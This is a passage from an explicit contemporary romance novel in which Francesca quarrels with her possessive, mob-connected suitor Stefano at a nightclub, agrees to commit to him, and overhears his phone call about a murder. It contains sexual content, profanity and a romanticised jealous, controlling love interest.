"I see her." Francesca frowned. The woman looked very familiar. "Where have I seen her before?"
"She's a starlet. Plays in a drama on television and thinks every man in all the states wants to sleep with her. She's totally after my cousin."
"We call her the barracuda," Rosina supplied.
Joanna giggled as she craned her neck, trying to peer into the dark crowd of moving bodies. "She's got on five-inch heels. Wow. I don't know if I could actually dance in five-inch heels."
Francesca suddenly recognized her. Not from the television, but from a magazine Joanna had given her. "She was on page seventy-three. Hanging on Stefano's arm." She whispered it before she realized just what that admission gave away. Color moved up into her face.
The waitress was back, putting their drinks in front of them, confirming that the Ferraros didn't have to wait for anything, not even their drinks. Francesca reached for hers and took a long drink as the woman hurried away. The Moscow Mule went down smoothly. She needed the alcohol to fortify her.
Emmanuelle leaned forward and put her hand over Francesca's, stilling the fingers that had been drumming on the table. Francesca hadn't even been aware she was so restless. Nervous. Jealous. _Sheesh._ How embarrassing in front of his sister and cousins.
"Stefano may have sowed his wild oats, but he's done with that. I can guarantee that when my brother chooses a woman, he will be faithful to her. It's for life."
Francesca bit her lip to keep from laughing. There was nothing humorous about Emmanuelle's statement, and yet it was laughable. "You can't know that."
"We live by a code. It's a strict one, but we cling to honor. It's just who and what we are. That can't change."
Francesca refused to look at her. Instead, she looked around the enormous room, where many, many women danced suggestively with partners. "So how many women right here in this club do you suppose Stefano has been with?" Her chin went up and she finally forced her head to turn toward Emmanuelle, her gaze meeting Stefano's sister's vivid blue eyes. "Would you say about half? Or am I being conservative?"
Why had she come? She knew better. She didn't belong in this world of casual hookups. It wasn't her. She didn't understand it and she'd never be comfortable in it. She never would. It wasn't as if she was a prude. Whenever Stefano touched her or kissed her, her body went up in flames. She would fall, just like all the women before her, but she wouldn't chase him. Once he dumped her, she would disappear from his life. She had pride. She couldn't very well judge the other women, not when she was going to be just as bad.
Still, she was being a total bitch. It wasn't Emmanuelle's fault that Stefano was a hound dog. A gorgeous one, but still a hound dog. She shook her head. "I just feel out of place here, and I think I'm taking it out on Stefano."
"He can't change his past, Francesca," Emmanuelle stated quietly. "As much as he'd like to, he can't change a thing. He never expected to have you." Her eyes searched Francesca's face. "He does have you, doesn't he?"
For the first time Emmanuelle sounded vulnerable. Francesca's heart jerked in her chest. She couldn't look away from Emmanuelle's blue eyes. She had that same ability as Stefano—the one that could capture and hold. It occurred to Francesca that Stefano's sister was every bit as lethal as the male Ferraros.
"I don't even know what he does for a living. I don't know him at all. This is all moving so fast I honestly can't catch my breath." She tried a tentative smile. "Your brother tends to steamroll right over a girl. He's so wonderful. Beautiful. Everything that I'm not."
Emmanuelle scowled at her. "Why in the world would you say that, Francesca? You obviously don't see yourself the way the rest of the world does." She looked up suddenly, her face instantly going expressionless in the way Stefano's often did. She flashed a small, brief smile toward the trio of women who had mounted the stairs and invaded their private space.
"Doreen. Stella. Janice." She gave a little nod, princess to peasant. "I had no idea the three of you were in town."
Francesca twisted her fingers together in her lap. Rigina and Rosina both had gone silent. Joanna looked as if she might faint, and even Mario was staring with his mouth open. The three women were in a famous band. Hugely famous. They weren't the kind of women one would just see walking up to them in a nightclub. Joanna clearly was pinching herself, grinning from ear to ear and practically bouncing on her seat.
Francesca recognized each of the women, all of whom Stefano had dated briefly. There had been several articles on the scandal. _Will the band break up?_ _Keeping it all in the family._ There were many, many more. Stefano had quite publicly dated each of the women amid a flurry of torrid headlines.
"Emmanuelle." Doreen nodded, her haughty look not quite as well done as Emmanuelle's. "Stefano's supposed to be here tonight, but we haven't seen him." The three women exchanged a long look and then laughed together. "We thought we'd show him a real good time," she added, almost purring.
Francesca winced. This was what she'd be putting up with every time she went anywhere in Stefano's circle. His women appeared to be legion and all of them were famous.
"Why fight over him and all three of us lose?" Janice added. "When we can share and all of us have him?"
"He's man enough to go around." Stella ran one finger down her clingy short dress. "We texted him last night that we'd be in town."
Francesca felt the burn of tears. She'd been with Stefano and his phone had gone off so many times. Not once had she paid attention. Not once had she suspected women had been texting or calling him.
Doreen's laughter was a mere tinkle that irritated Francesca. "We sent him a few pictures of what he could look forward to." Again the three women exchanged a long sultry look and then burst into laughter.
That meant Stefano had their pictures on his phone. Francesca could well imagine what those pictures were like. The room was suddenly far too hot. Her lungs felt raw, burning, unable to drag in enough air. Her stomach churned and she pressed her hands tight to it, afraid she might throw up right there in front of all three of them.
The smile had died on Joanna's face. She looked as if she'd been struck. She had fantasies about the Ferraro brothers and it didn't include finding out they weren't husband material.
Emmanuelle sighed. "When are the three of you going to get some pride? Stefano made it very clear that he was done with you last year. He doesn't date. He doesn't have relationships. That was made clear to you. Quit stalking him. That's what it's called when you won't leave him alone."
"How do you know we haven't seen him in a year?" Stella sneered. "He wouldn't want to tell his little sister what he's been getting all this time."
Francesca wanted to cover her ears. Could the evening get any worse? She didn't think so. She needed to get out of there. Now. She looked around, trying to find a way to escape. Why had she believed she had a chance with Stefano? Could she have been any more ridiculous? She'd wanted to cling to him because he made her feel safe. Beautiful. Sexy. Wanted. Lord, but he could make her feel wanted.
"That's so disgusting. He doesn't want you, any of you, and certainly not the three of you together." Emmanuelle poured contempt into her voice. She took a sip of her drink, looking more elegant than ever.
Suddenly the three women didn't look nearly as beautiful and sophisticated as Francesca had first thought. They looked . . . skanky.
"You have no idea of his _needs_ in the bedroom," Doreen spat out, pure venom in her eyes. "You think you're so high and mighty, Emmanuelle—you always have. We know what Stefano likes and we give it to him."
Joanna's gasp was audible. Doreen swung on her. "That's right, Miss Mouse. Stefano is an _adult_ , all male. Pure male. You could never hope to understand a man like that. None of you could." She turned, whipping her hair around, and stormed down the steps, her two bandmates following.
Emmanuelle let out her breath in a little hiss of anger. "Well, that was unpleasant." She leaned toward Francesca again. "You can't believe the things they're saying about my brother. They just aren't true."
"Of course they're true," Francesca said. "I saw his picture with each of them. He was with them. He had sex with them. There's no taking that back, and last night when I was with Stefano, his phone kept going off. He would look at it, sometimes text and other times he'd shove it in his pocket. I thought he was getting requests for his help like he always does, but instead he was getting naked sex pictures." She was ashamed of the little sob in her voice. "I have to get out of here."
Emmanuelle put her hand on Francesca's arm, staying her mad dash for freedom. "Don't. At least talk to Stefano before you run. He deserves that much, doesn't he?"
Francesca took a deep breath, her every instinct telling her to run while she could. Once Stefano was close to her, every brain cell she had seemed to short-circuit. She shook her head and picked up her drink again.
"I've got to attend a quick meeting," Emmanuelle said with a little scowl. "I'll send Stefano to you as fast as I can. I tell them meetings need to be conducted _outside_ the club," she added, trying to interject humor into the situation. "Inside is for fun. Drink and dance. You know, those _fun_ things. I don't think my brothers understand the concept." Emmanuelle shook her head and drifted away.
Rigina threw her head back and laughed. "They think the only form of fun is a hot, willing babe."
Francesca couldn't stop her reaction to Rigina's casual—but obviously true—remark. She stiffened, her fingers curling around the glass she held.
"Francesca." Rosina's voice was gentle, with an undercurrent of anxiety. "My sister didn't mean anything by that. I hope you weren't offended."
Francesca threw her a casual smile that she knew didn't reach her eyes. She took a longer drink. The combination of the ingredients always warmed her stomach and made her blood sing. She let the feeling sweep through her, wanting to get away from Stefano's cousins and the implication in Rigina's statement. They could try to take away the sting all they wanted, but she'd read the tabloids. She'd seen all the pictures of his women. So many of them. Tall. Beautiful. The thought of Stefano with them made her feel sick. Now she'd met them, and that made her even sicker, thinking of the things the three women were implying.
She wasn't experienced or sophisticated. She didn't belong in his crowd. Or with his family. She turned to Joanna with a bright, false smile. "You ready to dance? The music's calling."
Joanna had barely touched her drink and looked up, clearly to protest, but she took one look at Francesca's face and immediately stood up. "Can't wait." She flashed her brilliant smile at Mario. "You coming or you want to drink a little first?"
"I came to dance, woman. I'm with you all the way," Mario said, endearing him to Francesca. He was _so_ the right man for Joanna.
"Francesca . . ." Rigina protested.
Francesca drank the rest of the Moscow Mule, and this time her smile bordered on desperate, but she couldn't help it. "No worries, I'm great. I love to dance and the music is calling. If the waitress comes back will you order me another drink please?" Still smiling brightly she led the way down the steps to the crowded dance floor.
She didn't want to think about anything at all. She found the rhythm of the music and let it transport her like it always had, to another place. The alcohol pounded through her veins, heating her from the inside out. There was only her body and the music. Nothing else. No one else. No Stefano with his gorgeous body and smoldering sensuality that made her so incredibly hungry for him she couldn't think straight when she was around him.
Two songs later, she became of aware of a man joining them. He seemed to know both Joanna and Mario, slapping him on the back and greeting Joanna with a kiss. He looked toward Francesca expectantly.
"My friend Dominic," Mario said loudly, trying to be heard above the music. "Dominic, our friend Francesca."
Dominic grinned at her, his body moving in close, matching the rhythm of hers with ease. She recognized a trained dancer when she saw one, probably in Latin and ballroom as she'd been. He leaned toward her, one hand sliding onto her hip. Just barely there, but connecting them. "You know how to dance."
She was pleased that someone actually recognized that she could. She nodded, barely able to hear him over the pounding music. He immediately reached for her hand and took her through a series of salsa steps. The music was fast but the beat was perfect for a salsa. She matched him no problem and he instantly took her close to his body, moving her into more intricate and very sexy steps. She lost herself like she always did, the music flowing through her, her body giving itself up to the beat.
Dominic's lead was confident and strong, just the kind she preferred in a partner, and she moved with him, even when the music slowed and he drew her close into a tight frame. He was a couple of inches taller than she was and he bent his head close to speak directly in her ear.
"You're very good. I haven't had a dance partner like you ever. Where in the world did Mario and Joanna find you?"
She tried not to stiffen. She didn't like personal questions. "Joanna and I went to school together."
His hand slid down her waist to the curve of her hip. She felt that slide and it sent alarm bells ringing as he tightened his hold on her.
"My lucky night," he observed, his hand sliding lower until it rested right on the cheek of her butt.
She dropped her own hand and moved his. "You don't know me that well."
He laughed softly. "Not yet, but I intend to."
Emilio loomed over his shoulder, looking grim. Huge. Unhappy. He tapped Dominic on the shoulder and jerked his thumb off to the side. Dominic instantly looked angry, but he stepped away from Emilio.
Francesca turned into Emilio's arms, smiling up at him, relieved in spite of the fact that she knew why he was there. He moved his foot and stepped right onto hers. She bit back a sharp little cry of pain and made a face at him until he realized what he'd done and lifted his big foot away. He didn't dance, just swayed. It was a far cry from the man who had so perfectly matched steps with her.
"Is there a reason you interrupted my perfectly wonderful dance with that gentleman, or did you just want to step all over my feet?" She had to look up at him and raise her voice over the music. The rhythm was slower, and a little mellower, but it was still loud.
Emilio leaned down, very close, putting his mouth against her ear. He actually hissed his disapproval. "For fuck's sake, Francesca, are you trying to get someone killed? What are thinking, dancing with another man?"
Francesca matched his scowl. "What other man? I danced with one man and he was a superb dancer. You cut in and stepped on my toes. I don't want to hurt your feelings or anything, but I prefer his dancing style to yours."
Without warning, a hard hand shackled her wrist and Stefano yanked her away from Emilio and into his arms. "What did I tell you about other men touching you?" he snapped.
She glared at him, struggling to put an inch or two between their bodies, but it was impossible. The more she fought to get free, the tighter he held her.
"Stop fighting me or we're going to have a very public scene. There are paparazzi in here and I can guarantee we're already on their radar."
His anger was palatable. Intense. Surrounding her with heat and fire. Still, as upset with him as she was, her body reacted, flooding her with need. She kept her face down, refusing to look at him even when she subsided, forcing herself to relax into the warmth of his body.
"Now tell me what the fuck you thought you were doing."
Even with her giving him what he wanted and letting him hold her close, his anger hadn't lessened in the least. That spiked her own temper. "I wasn't arranging to have sex with three men, if that's what you thought. Your little harem is here, waiting for you."
"Damn it, Francesca, we talked about this. I can't change who I fucked. I told you that was in the past and you have to accept that, because as much as I would like to have been different, I'm not a magician. There isn't any taking it back."
"Is that what you like? What they said? All three of them at once?" She hissed the query through clenched teeth, her heart pounding out of control.
# CHAPTER THIRTEEN
There was a long silence while the music hammered at them. Created a cocoon of pure heat. His anger swamped her, but it only served to make her hotter. Her body felt liquid, breasts aching for his touch, nipples hard, pushing against the material of the dress in an effort to get closer to him. The junction between her legs was on fire, her clit pulsing with the beat of the music and absolute hunger. She knew her thong was already damp with hunger for him. She hated that she couldn't control her needs with him. He was angry, and that just added fuel to the growing fire in her.
"Is that what you think of me? That I would need three women at once to satisfy me? Is that really what you think of me, Francesca?" His voice was low. Furious. A whip that struck at her with more force than a leather one would have.
She inhaled sharply and drew him deep into her lungs, her face remaining pressed tightly to his jacket, right over his heart.
His hand came up under her chin and pried her loose. "Fucking look at me, _dolce cuore_. Now. I'm not fucking around with you."
Two F-bombs in under a second. He was more than furious. She had no choice but to lift her chin, but she kept her eyes childishly shut tight, afraid if she looked at him, she'd be lost. She was more hurt than she'd realized, hating that the other women had had him before her.
"Look at me." With an effort he softened his voice, but it was still every bit as commanding. Impossible to disobey. "Open your eyes and look at me."
She bit down hard on her lower lip and lifted her lashes until her gaze met his piercing blue one. His eyes had darkened into a vibrant, intense color that screamed danger. Once she locked gazes with him, she couldn't look away. Her heart pounded harder than ever. Her stomach did a slow somersault. Deep inside her core, her muscles spasmed and then clenched hard in reaction.
"Do you really think I play with three women at the same time, Francesca?"
There was a promise of retaliation in his voice. Instead of scaring her, as it should have, she felt shaky with need—with hunger that seemed to be growing out of control. Of course he was going to force her to answer. Slow color stained her cheeks.
"No." Her voice was low. Ashamed. "It was just that they were so smug. They said they sent you pictures last night . . ." She trailed off.
"I deleted them the moment they came in and I didn't bother to reply to them. I haven't seen any of the three of them since last year nor have I intended to do so. Had I known they intended to show up here tonight, I would have banned them from the club. They invited me to go to Texas to meet them and I said no."
His anger hadn't abated at all, she could tell by the lines around his mouth and the set to his jaw. Abruptly he caught her hand and took her through the crowd, almost dragging her, uncaring of her high heels. Fortunately, the crowd opened up for him, even there in the dark on the dance floor, allowing them through easily.
Stefano took her toward the back of the club, going between two of the bars to the shadowy alcove where a door led to offices. The alcove was very dark and she knew the shadows enclosed them in their own private world. She shivered, knowing she shouldn't be alone with him. Not now. Not when he was so angry and she was needy.
He walked her backward until she came up against the wall and she couldn't move another inch. His body crowded hers until there wasn't enough room to slide a piece of paper between them, until she felt the imprint of his heavy muscles on her breasts and hips.
He tipped her chin up, forcing her eyes to meet his. "I'm going to spell this out for you, Francesca, using plain fucking English so there aren't any misunderstandings. I'm not fucking around with you. I'm telling you straight up that I want a relationship with you, a permanent one. Exclusive. You and me. No one else. No other women for me. No other men for you. I want to settle down and have a family with you. I know you're still getting used to the idea and that's all right. I'll give you time. But that doesn't mean another man puts his fucking hands on you. He doesn't get to hold you in his arms and feel your body up against his. Not. Ever."
"I danced, Stefano. I like to dance. I don't understand why you would be angry. You were busy, and I danced with him. I wouldn't go out with him. I'm not attracted to him. I'm not a cheater. I knew we were both considering a relationship, although honestly, it's moved so fast for me it's hard to believe it's real."
He leaned down, his arms suddenly around her, yanking her hard against his body. "You aren't listening to me. I will not tolerate another man putting his hands on you any more than I would expect you to tolerate another woman putting her hands on me. It's dangerous, Francesca. Dangerous to whatever dumb fuck thinks he has the right to rub his body up against yours. I saw his hand on your ass. That ass belongs to me. No other man puts his hand there. When I saw that, I wanted to kill him. I _needed_ to kill him. I live in a world of violence and now, so do you. You don't want to put me in that position any more than I would put you there. That's all I'm going to say on this. I don't argue. This is your one and only warning."
She blinked up at him. "You're serious."
"Dead serious."
She moved subtly, trying to pull away from him without seeming to do so. Subtle didn't work. His arms became steel bands, locking her to him, and he leaned his weight against her so that it was impossible to move. The air around them was heavy with his anger. A little shiver of fear went down her spine. Not just fear. Still, impossibly, she felt safe in his arms. She realized that along with that spurt of trepidation, there was a dark, sensual excitement she couldn't deny.
"You don't hurt women." She made it a statement because she had to believe it was true. She knew lies when she heard them; she also knew honesty. He spoke the truth about wanting to kill Dominic, but his anger was directed at her. Still, his hands on her didn't hurt, not in the least. He could be rough, but he wasn't violent with women.
"No. I don't." He left it at that.
Could she accept him just the way he was? Like this? Darkly sensual? A man used to violence? A man she really knew nothing at all about? She knew she was already lost, too far gone, so attracted to him physically, the chemistry so intense she could barely think with wanting him. Her sense of self-preservation was gone. She should have asked questions, demanded answers.
Francesca moistened her lips. "All right, Stefano."
"'All right'? What the fuck does that mean?"
"It means you can stop using such foul language and take a breath. I won't dance with another man. I won't let another man touch me. I wouldn't like it if you were dancing with another woman, so even though it was perfectly innocent I understand what you're saying. On the other hand, there isn't any need to be dramatic and talk about danger, violence or killing. You wouldn't really hurt another man just because he danced with me." She wasn't so certain that was true, but she wanted it to be.
He shook his head, some of the dark anger dissipating. " _Bambina_ , you're such an innocent. He wasn't dancing with you. He was trying to get into your lacy little thong panties. His hand was on your ass."
"I moved his hand back to my waist _immediately_."
"Which is why the fucker is still alive. The only man who touches your ass or your panties is going to be me. _Ever._ " His hand slid down her hip to her bare thigh, fingers caressing her skin. "This dress doesn't look the same on you as it did on that mannequin."
His fingers began making little circles up her thigh. Barely there. Burning. Branding her. It felt as if he touched her with fire. She shuddered, leaning her weight into the wall, hoping it would keep her upright.
"I suppose the mannequin was board straight, and you've got all these sexy curves." His other hand found her right breast, drifting over the soft curve until his fingertips were directly over her nipple. "I should have taken that into consideration."
The fingers inched up her thigh, right under the hem of her dress, moving upward with soft, deliberate strokes. She put her hand on his wrist to stop him, her gaze moving around the club. It was dark and Stefano had taken her well back into the shadows for their little talk, but still, in another minute she knew she'd be too far gone to care what he did to her. She wanted his hands on her. His mouth on her. She _had_ to have his touch more than she needed to breathe.
With her breath burning in her lungs and need driving her, she ran one palm up his chest to his shoulder. It was a tight fit because he refused to move back, his much larger body directly in front of her. Should anyone come up on them, they wouldn't be able to see her the way he'd positioned himself. She realized that even when he was angry with her, he'd made certain to protect her.
"So you don't like the dress?" Her voice came out sultry. A whisper of pure sin.
A soft groan escaped. " _Dolce cuore_ , you can't use that tone when we're out in public." His fingers dug into her inner thigh for a brief moment and then relaxed, gently caressing her skin over the sting. "I've never wanted a woman more in my entire life. There are half a dozen offices close by I could take you into and fuck you until neither one of us could move, but that's not what I want for your first time with me. I want to at least try to be gentle with you. Right now I'm not certain I could be. Help me out a little, okay, _bella_?"
His fingers, sliding over her bare inner thigh, drove her crazy. She needed him right now, and the offices sounded good to her. His knuckles brushed her sex and deep inside, muscles contracted deliciously. She gasped and he immediately bent his head, his teeth finding her earlobe and biting down.
"Stefano." His name came out as a moan.
"You're already wet for me," he whispered. "So ready. For me, _bambina_ , that's mine. All for me."
She nodded helplessly, clutching at his wide shoulders to keep from falling at his feet. Her mind felt chaotic, her brain refusing to work. She couldn't think of anything else but Stefano. She wanted his hands on her. His mouth. She _needed_ that. "Please," she pleaded softly, asking for something, but what she didn't know.
His expression changed immediately. Gentled. Softened. Even his eyes changed color, darkening intently. His voice stroked caresses over her skin, making her shiver. "Kiss me. Right now. I need your mouth."
She would have given him anything he asked for. She lifted her face up toward his, an offering, both hands at his shoulders, holding on for life. Stefano's mouth instantly took command of hers. Took all control like a runaway train. The moment his tongue swept inside, he spread flames through her. Exquisite, perfect fire. Heat rushed through her veins straight to her sex, fanning the fireball that had lodged there.
His arms went around her, dragging her away from the wall and into his body so that she had no doubt she was imprinted on his bones—and he on hers.
"I want you," he confessed, dragging his mouth from hers, resting his forehead against hers while they both tried to pull air into laboring lungs.
Her lashes swept down and faint color stole into her cheeks. "I want you, too," she whispered. "So much, Stefano."
"Say you're mine." There was steel in his voice.
She took a breath. Let it out. He was commanding more than that simple sentence. They both knew it. He was asking for commitment. Not just a night. A week. A month. He was asking her to say she belonged to him forever.
She heard the blood roaring in her ears. Her body was in flames. In terrible need. Wanting him. Could she give herself to him? She knew two things about him. He was a man with a strict code of honor, and he was a very dangerous man capable of swift violence.
"Give yourself to me," he whispered, his voice an intimate caress, sliding over her skin like the touch of fingers.
His mouth was so close. She could feel every breath he took.
"Trust me with your life, Francesca, and I swear you'll never have to worry about another thing. I can keep you safe. I will make you happy."
He was the devil tempting her. So gorgeous. An incredible man. She knew he paid attention to details, the smallest ones. It would be a trait in him she would both love and hate. He would always make her feel important, maybe the most important thing in his world, but he would also try to control every aspect of her life. Not, she knew, because he wanted to dictate to her, but because his need to keep her safe would make him crazy about her security.
"Say yes, Francesca. I didn't think it was possible to feel anything real for a woman. I just couldn't. I tried, but nothing was there. I knew I was capable of loving because I love my sister and brothers fiercely. With everything in me. But what a man feels for a woman, _the_ woman, eluded me until you. Until I saw you."
He melted her resolve with every word he said. There was no shoring up her defenses, no getting away from the raw honesty in his voice.
"I know you don't believe in love at first sight because I always thought it was impossible. I tried to tell myself it wasn't real—it was just chemistry between us. And that chemistry is so explosive I knew I had a chance of being right, but then I watched you. I listened to you. I saw the way you were with others and I felt everything a man is supposed to feel for a woman and more. When I love, Francesca, it's with everything in me. I'm loyal and I'm a fighter, which means I'll fight with my last breath to make certain my woman is happy. I expect those in my life to be the same way."
Her hands, of their own accord, crept around his neck, fingers lacing. The heat of his skin was scorching, but that only added to the fire permanently burning deep inside her for him.
"I didn't care about any other woman, Francesca. Not a single one of them. I used them. They used me. I have a strong sex drive. I'm always hard. Always. I need a woman to give me relief, but I never wanted one for my own. Women were a tool, a body to bury myself in, nothing more. I didn't know how to have them mean more because I just couldn't feel anything at all for them, no matter how much I wanted to or tried. I know that makes me sound like a fucking bastard, but it's the truth and that's what I have to give you—the truth."
She felt perverse enough to love what he was saying to her, to love that those women sending him pictures didn't mean anything at all.
"I fucked a lot of women, Francesca."
She winced. She knew he had. She'd seen the evidence in the tabloids. Most of the articles weren't true, but the pictures didn't lie.
His arms tightened around her. "I can't lie about that. I can't take that back. I know what you see and read; the things these women might say to you will hurt and I hate that. I hate that I'm the cause of that. That what I did so carelessly in the past might be upsetting to you. I can only promise you the future."
"This is going so fast, Stefano."
His fingers massaged the nape of her neck. "For you, _bambina_ , but not for me. Time seems to have slowed down until I want to curse with frustration. My grandfather was in love with my grandmother. They were inseparable. They detested being apart. I've seen real love. I've felt it when I was with them. They died three hours apart. My grandmother first and then my grandfather followed. Love exists, and that's what I'm offering you."
His mouth found hers again and she was instantly lost in him. So much heat. So much pleasure lashing through her, little strikes, like lightning flashing through her entire body. This time when he lifted his head, his teeth found her bottom lip, sinking in, tugging, driving her wild.
She heard herself cry out, almost a sob of pure hunger.
"Give yourself to me, Francesca." Pure command. Nothing less than a demand, and that told her something.
He _was_ the devil, but she didn't care. On some level she even knew he was using her own body against her, pitting her innocence against his experience, but she didn't care about that, either. She wanted to leap into the fire with both feet, arms wide, eyes open. She knew his world might be something she would have a difficult time accepting, but he was worth it.
"Yes." It came out a soft whisper. Almost nonexistent. A strangled resolve. Maybe it was her mind's way of trying to save her. Self-preservation trying to stop her crazy jump off the cliff.
He went still. Absolutely still. His arms nearly crushed her. "Say it then. I need the words. Say you belong to me and that you're committing to me. Look at me, Francesca, and say it and know there's no taking it back."
She moistened her lips and lifted her lashes to look into his piercing blue eyes. There was such a mixture there. Possession. Desire. Triumph. Demand.
"There's no taking it back, Francesca," he warned.
She licked her lips again, right over the spot where his teeth had bitten. "I won't take it back, Stefano," she said softly. "I want to be yours."
"And you're committing to me? You'll wear my ring. You'll come into my family? Be a part of us," he prompted.
A ring? He hadn't said anything about a ring. That was going even further than she'd anticipated he'd want. A part of her was thrilled. The sane part was terrified. Already it felt too much like ownership. As if he had already branded her in her bones. In her soul.
"Don't." He tipped up her face, forcing her to stay in eye contact. "I get that you're afraid, _dolce cuore_. You have to trust me. Rely on me. That's what I need from you. I've got you, Francesca. All you have to do is let me have you."
She tried to think straight, but her body already belonged to him, her breasts aching for his touch, nipples pushing hard against the material of her dress. Between her legs, she felt empty and needy. Burning. Tension coiled so tightly she was afraid if she moved she might shatter. If she didn't have him she might not make it through the night.
"I can't think straight when you're so close to me." She could barely speak. His heavy erection pressed against her, high, along her waist and she felt every long, thick inch of him like a burning brand. "You're taking advantage."
"I'll take any advantage I can get. Right now, Francesca, I'm being gentle. Push me and I'll do more to get your yes. I'll have my fingers buried inside of you and if that doesn't work, it will be my mouth working between your legs. I'm shameless when it comes to you. This is a battle I can't afford to lose so yes, I'll use any means necessary to make certain your answer is what I want."
She licked over that throbbing spot on her lower lip again. "Is this what I would have to look forward to once we were together? You using sex to get your way?"
"Absolutely."
She wanted him so much. She could stall all she wanted, but in the end, she knew she would give in to him. "I said yes," she pointed out. "I may be scared, but I said yes."
He bent his head to brush kisses over her eyelids, almost as if he were closing her eyes so she wouldn't see the elation sweeping through him. But she did. She _felt_ it.
"I'm going to kiss you one more time, Francesca, and then we have to finish up so we can go home. It's too dangerous to be in public when I need to be inside of you."
The raw desire in his voice scraped at her, clawed at her belly, matching her own. She wanted to be home, too, as quickly as possible.
"Give me your mouth, _bella_."
She did so without hesitation, needing the fire pouring down her throat and into her body. Surrounding her heart. The familiar flames rushed over her breasts, connected her nipples straight to her clit, so that she pulsed and throbbed with desperation. His mouth was pure sensuality. Hot with passion. His taste was addicting and when he began to lift his head to pull away, she chased after him with her mouth.
He caught her chin firmly. " _Bambina_ , not here. I don't have as much self-control as I'd like, not when it comes to you. I'm not about to fuck you against the wall where someone could just walk up on us, but we keep this up and it could happen."
It was nice knowing she wasn't alone in what she was feeling, but right at that moment, the idea of him "fucking" her against the wall was a blatant temptation.
He transferred his hold to her hand and stepped back to allow her to move away from the wall. "My cousins are here from New York. I'd like you to meet them."
She blinked up at him, feeling as if she was coming out of a fog, or an erotic dream, and couldn't quite shake it off. "I met them the other night, remember?" They made her nervous. She wasn't certain she wanted to see them again in her present state of absolute craving. They saw too much.
He smiled down at her. "More cousins. You met Lanz and Deangelo Rossi. They're brothers. They came with two other cousins, Salvatore and Lucca. Their last name is Ferraro as well. Salvatore and Lucca have one other brother, Geno. No sisters. Girls don't seem to run in our family much."
"Your family is so big, Stefano. I only had my sister. No aunts or uncles. No one else. You have enough cousins to make a small town."
He laughed softly, tugging her closer until her front was locked to his side and she was under his arm. His cell phone chimed just as they stepped out of the shadows into the light behind the red bar. He stopped abruptly and pulled it from the inside of his jacket, refusing to give her any space, clamping her tightly to his side.
"You're a slave to that thing," she pointed out.
"True," he agreed and flipped it open. "Stefano."
He was as abrupt on the phone as he was in person, she decided, studying his face. He had a gorgeous face, one that belonged on the cover of a magazine. It was no wonder the paparazzi were obsessed with him. She was a little obsessed with him herself. Her heart was still pounding insanely at the giant step she'd just taken. She couldn't even blame it on alcohol. That was all her, unable to resist him.
She leaned back against Stefano, mostly because he gave her no choice with his arm locked around her, right under her breasts. He smelled wonderful, his scent enveloping her, surrounding her with . . . him. She was acutely aware of his heavy erection pressed tightly against her. He always seemed to be hard around her. She had to admit she liked that. She wanted him to want her.
She had tuned out his conversation, listening to the music instead, used to the constant demands made on his time. It took a few moments before his side of the conversation penetrated. This was no call about someone needing help. She inhaled sharply and turned her attention completely to Stefano.
"No, Saldi, I'm at the club with my brothers and cousins. We're celebrating tonight. Why the hell would you think I'd sneak into your fucking house and kill that piece of shit Tidwell right under your nose? I had no idea the bastard was staying in your home."
Silence and then more. "Are you fucking kidding me? I beat the shit out of him and sent him to you to do whatever you wanted with him. Taking his building was enough revenge for me."
Silence and then Stefano burst out with a string of profanities. "You're pissing me off, Saldi. I can't be in two places at one time. Come on down and see for yourself if you want, although the damn paparazzi has managed to sneak in and they're taking enough pictures for an entire magazine." Stefano's voice was clipped and angry.
Francesca tensed. Tidwell had owned her building and now he was dead. Someone had—what—murdered him? Was that what Saldi was saying to Stefano? She shivered. At once Stefano bent his head and nuzzled her neck. His teeth nipped and his tongue swirled heat over the little sting, making her intensely aware of him.
"I'll tone it down," he whispered to her and pressed a kiss against the sensitive spot right behind her ear.
His arm, a bar around her rib cage, didn't relax at all. He kept her tightly against him and resumed his conversation with one of the Saldis. Francesca had heard about them from several sources, but more, she'd read about them in news articles. They were definitely considered criminals. She knew that family was into organized crime, yet Stefano didn't sound in the least afraid. He swore at them and seemingly had no worries about retaliation.
"I don't give a damn, Giuseppi, what you think. What I think is that you'd better find someone else responsible for that piece of shit's cut throat. I'm not crying tears if that's what you're looking for. If it happened under your nose, look to your own people and tighten your fucking security." He snapped the phone shut with an angry click and shoved it in his pocket.
Her breath caught in her lungs. "Giuseppi Saldi is the head of the largest crime family right here in Chicago," she whispered, terrified for him. No one would talk to Giuseppi Saldi like that, not even the police. He was reputed to be extremely violent and often retaliated if he felt slighted.
"Yes." He nuzzled her neck again. "You smell so good."
"You weren't very nice when you talked to him, Stefano. What if he gets angry with you?" A shiver went down her spine. Stefano was reckless when he lost his temper.
He stopped moving to look down at her, his arms shifting her so she was standing directly in front of him, her front tight against his. She had to tip her head back to look up at him.
"There you go, getting all protective on me. You're worried about me, aren't you?" His voice practically purred at her, a sensual mixture of possession, desire and something else—affection. " _Dio, bambina_ , I love that."
"He's dangerous. Isn't that the second time you've sworn at him?"
"More like the hundredth. I don't like him and I doubt if he likes me much." He brushed his mouth over hers with exquisite gentleness. "Don't worry about him. He won't come after me. He wouldn't dare."
Her heart gave a painful jerk in her chest. "Why, Stefano? Why wouldn't he come after you?"
His hand shaped her face, his thumb tracing her high cheekbone, down to her mouth to linger over her bottom lip. "I told you, _dolce cuore_ , no one fucks with me. I'm that kind of man. Stop worrying and come meet my cousins. You'll like them."
She hadn't been so sure of his other New York cousins, the ones that had definitely been interrogating her. She turned her head as Stefano once again shifted her beneath his shoulder, his arm locking around her to keep her close. She put one hand on his washboard abdomen as her gaze collided with Janice's. The woman had stopped moving right in the middle of the dance floor and was staring at her with absolute venom. Francesca shivered at the concentrated hatred in the woman's gaze. The dancers shifted and Janice was swallowed up by the gyrating crowd.
"What is it, Francesca?"
He was so tuned to her, but she wasn't about to admit his past women were giving her nasty looks and upsetting her. How jealous and lame would she appear? She was just jumpy. She was out in the open and it was impossible not to see the curious and speculative looks the crowd gave them.
"I've been hiding from Barry Anthon for so long that this makes me a little nervous. I feel very exposed," she improvised quickly.
He laughed softly, his arm tightening around her. "You are exposed in that little black dress. I can see that I can't just call a shopper for you, I'm going to have to _see_ you in something before I approve it."
That distracted her immediately. She gave him her darkest scowl. "Seriously? You think you're going to actually get a say in what I wear?"
"Of course I'm going to get a say. I'm bossy and controlling, remember? I'm also jealous, a trait I had no idea I possessed until I laid eyes on you."
